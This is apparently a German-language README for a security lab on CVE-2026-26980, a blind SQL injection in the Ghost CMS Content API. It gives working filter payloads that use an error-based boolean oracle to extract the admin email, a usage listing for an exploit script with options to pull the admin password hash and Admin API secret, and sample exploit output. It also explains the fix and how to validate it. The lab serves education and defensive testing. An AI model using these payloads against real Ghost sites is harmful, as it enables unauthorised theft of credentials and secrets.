
CVE-2026-26980 — Ghost CMS Content API SQL-Injection-Lab (unauthenticated blind SQLi über die Slug-Filter-Reihenfolge)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critical) |
| CWE | CWE-89 (SQL Injection) |
| Betroffen | Ghost 3.24.0 -- 6.19.0 |
| Behoben | Ghost 6.19.1 |
| Authentifizierung erforderlich | Keine (Content-API-Schlüssel ist standardmäßig öffentlich) |
| Credit/Referenzen | Nicholas Carlini mit Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Haftungsausschluss -- Dieses Labor dient ausschließlich autorisierten Sicherheitstests, der Ausbildung und defensiver Forschung. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
Die Content API von Ghost unterstützt das Filtern von Tags und Beiträgen nach Slug mithilfe der Array-Notation: filter=slug:[tag-a,tag-b]. Intern erstellt eine Hilfsfunktion eine ORDER BY CASE-Anweisung, um die angeforderte Slug-Reihenfolge beizubehalten. Vor v6.19.1 wurden benutzerbereitgestellte Slug-Werte ohne Parametrisierung direkt in dieses SQL interpoliert:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VERWUNDBAR)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
Der Content-API-Schlüssel ist in das HTML jeder Ghost-Website eingebettet (data-key="..."), was dies zu einer vollständig nicht authentifizierten Angriffsfläche macht.
Die NQL-Abfragesprache von Ghost validiert Filtereingaben und lehnt rohe einfache Anführungszeichen oder Leerzeichen ab. NQL akzeptiert jedoch in einfache Anführungszeichen eingeschlossene Werte innerhalb der Array-Notation (slug:['value']) und übergibt die Anführungszeichen als Teil des Literals. Der slugFilterOrder-Regex extrahiert diese Werte und interpoliert sie -- einschließlich der Anführungszeichen -- in das SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL übergibt Anführungszeichen als Literalzeichen
Nach der Interpolation wird das ORDER BY zu:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
Im Standard-SQL-Modus von MySQL ist || ein OR und '' ist falsy. Dies ergibt ein sauberes boolesches Orakel:
| Bedingung | CASE-Ergebnis | Auswirkung |
|---|---|---|
| TRUE | '' OR 0 OR '' = 0 | Normale Antwort (HTTP 200) |
| FALSE | '' OR EXP(710) OR '' | DOUBLE-Überlauffehler (HTTP 500) |
Mit dem etablierten Orakel wird die standardmäßige blinde Extraktion per binärer Suche angewendet:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
Die SUBSTR(... FROM pos FOR len)-Syntax vermeidet Kommas (nach denen slugFilterOrder aufteilt).
| TRUE (1=1) → HTTP 200 | FALSE (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





Der Fix ersetzt die String-Interpolation durch parametrisierte Bindungen:
// BEHOBEN
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Das crud.js-Plugin wurde aktualisiert, um Bindungen durch orderByRaw zu leiten, und @tryghost/bookshelf-plugins wurde auf 0.6.29 angehoben, das Bindungsunterstützung hinzufügt.
requests# Repository klonen und betreten
git clone <this-repo> && cd ghost-cve-2026-26980
# Python-Abhängigkeit installieren
pip install -r requirements.txt
# Verwundbare Ghost-Instanz starten (6.18.0 + MySQL 8)
docker compose up -d
# ~45 Sekunden warten, bis Ghost initialisiert ist, dann den Exploit ausführen
python3 exploit.py --url http://localhost:2368
# Zusätzlich die gepatchte Ghost 6.19.1 auf Port 2369 starten
docker compose --profile fixed up -d
# ~45 Sekunden warten, dann bestätigen, dass der Fix die Injection blockiert
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL Ghost-URL (Standard: http://localhost:2368)
--validate-fix Bestätigen, dass das Ziel NICHT verwundbar ist
--extract-password Zusätzlich den Admin-bcrypt-Hash extrahieren
--extract-api-key Zusätzlich das Admin-API-Geheimnis extrahieren
--content-key KEY Setup überspringen, diesen Content-API-Schlüssel direkt verwenden
-v, --verbose Orakelergebnisse pro Abfrage anzeigen
====================================================
CVE-2026-26980 — Ghost CMS Content API SQL Injection
====================================================
[*] Warte auf Ghost unter http://localhost:2368 bereit
[*] Ghost einrichten (admin: [email protected])
[+] Setup abgeschlossen — Sitzung wird hergestellt
[+] Angemeldet
[+] Content-API-Schlüssel: ad63c06a71457583ea58f050c1
[+] Anker-Slug: news
[*] Phase 1 — boolesche Blind-Verifikation
CASE WHEN 1=1: 200 (TRUE)
CASE WHEN 1=0: 500 (FALSE)
[+] Boolesches Orakel bestätigt — VERWUNDBAR
[*] Phase 2a — Admin-E-Mail extrahieren
Länge der Admin-E-Mail messen... 21 Zeichen
Extrahiere: [email protected]
[+] E-Mail: [email protected]
============================================================
EXPLOITATION-ZUSAMMENFASSUNG
============================================================
Ziel: http://localhost:2368
CVE: CVE-2026-26980
Content-Schlüssel: ad63c06a71457583ea58f050c1
Admin-E-Mail: [email protected]
============================================================
Eine zweite Schwachstelle wurde im selben Release gepatcht. Der {{#get}}-Handlebars-Helper von Ghost verwendete das Paket jsonpath (das von static-eval abhängt), um Pfadausdrücke aufzulösen. Bösartige Themes konnten Ausdrücke konstruieren, die über Prototyp-Traversal Function() erreichten und so serverseitige Codeausführung ermöglichten.
| CVE | CVE-2026-29053 |
| Betroffen | Ghost 0.7.2 -- 6.19.0 |
| Auth | Admin (Theme-Upload) |
| Fix | jsonpath durch eine eingeschränkte querySimplePath()-Funktion ersetzt, die nur Punktnotation, [N] und [*] unterstützt |
Dieses Labor konzentriert sich auf CVE-2026-26980, da diese nicht authentifiziert und für externe Angreifer wirkungsvoller ist.
.
├── README.md # Diese Datei
├── docker-compose.yml # Ghost 6.18.0 (verwundbar) + 6.19.1 (behoben) mit MySQL 8
├── exploit.py # Vollständiger PoC: Setup, Verifikation, Extraktion
├── validate.sh # End-to-End-Validierungs-Wrapper
└── requirements.txt # Python-Abhängigkeiten
Dieses Labor wird unter der MIT-Lizenz für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.